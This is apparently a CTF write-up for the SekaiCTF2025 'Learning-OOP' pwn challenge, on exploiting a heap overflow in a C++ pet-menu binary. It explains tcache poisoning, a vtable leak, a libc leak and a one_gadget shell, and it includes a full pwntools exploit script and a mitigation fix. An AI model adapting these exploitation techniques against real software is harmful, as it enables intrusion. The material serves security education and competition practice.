Learning-OOP - SekaiCTF2025
Summary
Audit given source code and discover a heap overflow --> Forge a fake unsorted bin chunk in order to populate the heap with libc leaks --> Leak vtable first because of oopsie --> Leak libc --> find a crazy gadget which satisfies a one_gadget requirement --> flag
This challenge was part of the pwn category at SekaiCTF2025 with a difficulty of 2 stars.
Recon
Looking at the source code of this program we can spot some interesting things, namely a std::cin read on a pointer (infinite overflow) and the binary leaking an address:
void set_name() {
std::cout << "Enter name: " << std::endl;
// BUG: Overflow
std::cin >> this->name;
}
...
...
new_pet->set_name();
for(size_t i = 0; i < MAX_PET_COUNT; i++) {
if(pets[i] == nullptr) {
pets[i] = new_pet;
break;
}
}
num_pets++;
// BUG: Heap leak
std::cout << "Adopted new pet: " << new_pet << std::endl; // TODO: fix
return;
}
The menu printed by our binary looks like a regular heap menu, with disguised options of course. On closer inspection this is a bit different.
1. Adopt new pet
2. Play with pet
3. Feed pet
4. Rest pet
5. Exit
Abstracting away the options, we get the following:
- Adopt –> Create and write to chunk
- Play –> Trigger vtable entry (no real use)
- Feed –> Trigger other vtable entry and also keep chunks alive as you’ll see
- Rest –> Trigger yet another vtable entry
- Exit –> just exits
Any other option
–> “Does nothing”
Now by doing nothing a couple of times we can actually free these chunks that we’re given ( aka starving our pets to death :( )
Exploit scheming
The binary is running GNU libc 2.39
and is thus employing the safe linking
mitigation on it’s tcache freelist pointers. Fortunately the program gives us the “key” by leaking the heap base to us
, which allows us to poison the tcache. This will be important later.
Trying to leak libc
For starters however I tried leaking libc (which was unwise) and quickly ran into a brick wall. Populating the heap with libc addresses is rather simple here, as we can forge a 0x420
sized unsorted bin chunk by coalescing 3 (and a half) fixed 0x120
sized chunks that the program serves us by adopting a new pet, paired with overwriting the first one’s size field to 0x421
. In pwntools lingo it looks like this:
create_pet("dog", b"A")
create_pet("dog", b"B")
# Makes it so we can start writing above our chunks (less important)
for _ in range(10):
do_nun()
create_pet("cat", b"C")
#create_pet("cat", b"B" * 0xf8 + p32(0x1) + p32(0x9) + p64(0x3) + p64(0x120))
create_pet("cat", b"B" * 0x110 + p32(0x431))
create_pet("cat", b"D")
create_pet("cat", b"E")
create_pet("cat", b"F")
create_pet("cat", b"G" * 0xc0 + p64(0x51))
Now to read those libc pointers we created ,we just allocate a chunk from this new fake unsorted bin, which we carefully made to look valid, creating a dangling pointer on one of the chunks which we used to create said fake bin. However the program segfaults as I was slow to notice that C++ objects allocate a vtable, and in our case this vtable is called every time a turn passes:
Desired outcome:
000055555556f900 5858585858585858 5858585858585858
000055555556f910 0000555555558c98 00007ffff7a03b20
000055555556f920 4141414141414141 4141414141414141
Actual outcome:
000055555556f900 5858585858585858 5858585858585858
000055555556f910 00007ffff7a03b10 00007ffff7a03b20
^ call 0x7fff.. + offset --> SEGFAULT
000055555556f920 4141414141414141 4141414141414141
There is still hope however, as we can write over this vtable pointer just before it gets used, the plan now being to leak that goddamn vtable pointer. And the way to do that is by poisoning the tcache
Grabbing vtable pointer
It’s kind of hard to do this without completely destroying the heap in the process, and I really didn’t bother to maintain heap state because of our vtable overwrite primitive (which would skip poisoning the tcache again, or using the heap for any new chunks at all) , but the start looks as follows:
- Allocate a new pet and write 8 bytes for it’s name (will place a null byte on the 9th byte)
- Poison the tcache and allocate another chunk bordering our name and overwriting the null byte with the vtable pointer
- Read it with any program functionality that mentions the pets name
000055555556fb40 0000000000000003 0000000000000121
000055555556fb50 0000555555558c98 4242424242424242
000055555556fb60 0000555555558c98 4c4c4c4c4c4c4c4c
000055555556fb70 4c4c4c4c4c4c4c4c 4c4c4c4c4c4c4c4c
Heap layout after attack, would print BBBBBBBB + vtable address leak
Leaking libc
This step is now trivial. Because we have our vtable pointer and can write before the vtable gets called, we can populate the name of the dangling pointer with a libc leak and also patch the vtable pointer back to normal, preventing segfaults.
Getting code execution
Now this is where it got really hard. This looks easy at first, having control of a vtable and making it point to an attacker controlled table we can execute anything, ALMOST anything it looks like, but not a shell, as all our one_gadgets are failing and the registers are in a clunky state.
After a long time trying to either pivot the stack or execute system with a char pointer in rdi, I remembered that we could maybe satisfy one of those one\_gadgets that refused to work in initial conditions
. After all, we do have multiple gadgets, and said conditions depend on non volatile gadgets they might just stick between our vtable calls!
With this mindset the most interesting one_gadget seemed to be this one:
0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
And with some luck, we find this gadget in libc:
0x000000000009a0bc : mov r12, qword ptr [rbp - 8] ; leave ; ret
The next question is what is [rbp - 8]
pointing to at runtime?
*R12: 0x7fffffffe2e8 —▸ 0x7fffffffe632 ◂— '/home/Hacker/ctfs/sekaiCTF2025/pwn/learningOOP/dist/learning_oop_patched'
That’s a valid envp!
Now for rbx
it was easier, as rbx
points to the current pet’s age variable, which increments every turn and which we could easily set to -1 with our overflow, making it 0 by the time our gadget gets hit. And sure enough we get a shell:
Mitigation
In order to mitigate the overflow, the programmer should have used the std::cin.getline()
method:
void set_name() {
std::cout << "Enter name: " << std::endl;
std::cin.getline(this->name, sizeof(name));
}
Full Exploit
#!/usr/bin/python3
from pwn import context, args, gdb, ELF, process, p32, p64, log, u64, pause, remote
context.arch = 'amd64'
context.binary = elf = ELF("./learning_oop_patched")
libc = ELF("./libc.so.6")
gs = '''
hb *0x7ffff78ef4ce
hb *0x7ffff78452c3
hb *0x7ffff789a0bc
continue
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
#p = remote("learning-oop-u5iinsqoilev.chals.sekai.team", 1337, ssl=True)
p = start()
def create_pet(pet_id, data):
if pet_id == "dog":
pet_id = 1
elif pet_id == "cat":
pet_id = 2
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'):', str(pet_id).encode())
p.sendlineafter(b'name:', data)
def do_nun():
p.sendlineafter(b'>', b'0')
#(0x5555555592a0 >> 12) ^ 0x555555559410
def mangle_ptr(bin_addr, ptr):
return (bin_addr >> 12) ^ ptr
def feed_da_dawg(idx):
p.sendlineafter(b'>', b'3')
p.sendlineafter(b'pet', str(idx).encode())
def main():
create_pet("dog", b"A")
create_pet("dog", b"B")
# Let these goons perish for free chunks >:)
for _ in range(10):
do_nun()
create_pet("cat", b"C")
#create_pet("cat", b"B" * 0xf8 + p32(0x1) + p32(0x9) + p64(0x3) + p64(0x120))
create_pet("cat", b"B" * 0x110 + p32(0x431))
create_pet("cat", b"D")
create_pet("cat", b"E")
create_pet("cat", b"F")
create_pet("cat", b"G" * 0xc0 + p64(0x51))
# Parse heap leak
p.recvuntil(b'new pet: ')
heap = int(p.recvline()[:-1], 16) - 0x13b50
log.success(f"Leaked heap: {hex(heap)}")
# Let the heap chillll
for _ in range(10):
do_nun()
create_pet("dog", b"G" * 0xb8 + p64(0x430) + b'\x60\x00\x00\x00\x00\x00\x00')
create_pet("cat", p64(0x51))
for _ in range(7):
do_nun()
feed_da_dawg(0)
create_pet("cat", b'KKKKKKKKKKKKKKKKKKKKKK')
for _ in range(8):
do_nun()
feed_da_dawg(0)
create_pet("cat", b'K' * 0x118 + p64(mangle_ptr(heap + 0x13a30, heap + 0x13b60)))
create_pet("cat", b'L')
create_pet("cat", b'L')
# XXX: Now consolidates and populates a libc leak
create_pet("dog", b"L" * 0xa8 + p64(0x430) + b'\x60\x00\x00\x00\x00\x00\x00')
# Parse vtable ptr leak
p.recvuntil(b'G' * 8)
vtable_ptr = u64(p.recv(6).ljust(8, b'\x00'))
log.success(f"Leaked vtable ptr: {hex(vtable_ptr)}")
create_pet("dog", b"X" * 8 + p64(vtable_ptr) + b"L" * 0xa8 + p64(0x430) + b'\x60\x00\x00\x00\x00\x00\x00')
create_pet("dog", b"X" * 0x118 + p64(vtable_ptr)[:-1])
p.sendlineafter(b'>', b'3')
p.recvuntil(b'1. ')
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x203b20
log.success(f"Leaked libc base: {hex(libc.address)}")
p.sendlineafter(b'pet?', b'3')
feed_da_dawg(1)
feed_da_dawg(0)
feed_da_dawg(2)
feed_da_dawg(3)
elf.address = vtable_ptr - 0x4c98
log.success(f"Leaked PIE base: {hex(elf.address)}")
gadget_r12 = libc.address + 0x9a0bc
one_gadget = libc.address + 0xef4ce
pause()
create_pet("dog", b'C' * 0xf8 + b'/bin/sh\0' + p64(one_gadget) + p64(one_gadget) + p64(gadget_r12) + p64(heap + 0x13908-0x18) + b'C' * 0x100 + b'\xff\xff\xff\xff\x07\x00\00')
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'pet?', b'1')
p.interactive()
if __name__ == '__main__':
main()